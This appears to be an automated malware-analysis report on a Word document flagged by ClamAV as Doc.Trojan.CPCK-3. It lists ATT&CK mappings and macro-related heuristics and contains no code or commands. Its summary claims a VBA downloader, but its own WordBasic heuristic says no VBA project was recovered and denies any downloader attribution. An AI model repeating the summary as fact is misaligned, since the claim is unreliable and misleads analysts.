MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic markers and a VBA macro that is triggered by the AutoClose event. This macro is designed to execute arbitrary code, likely for downloading and executing a second-stage payload. The presence of the AutoClose macro and the detection by ClamAV as Doc.Trojan.CPCK-3 strongly suggest malicious intent, commonly associated with macro-based malware delivery.

Heuristics 4

  • ClamAV: Doc.Trojan.CPCK-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
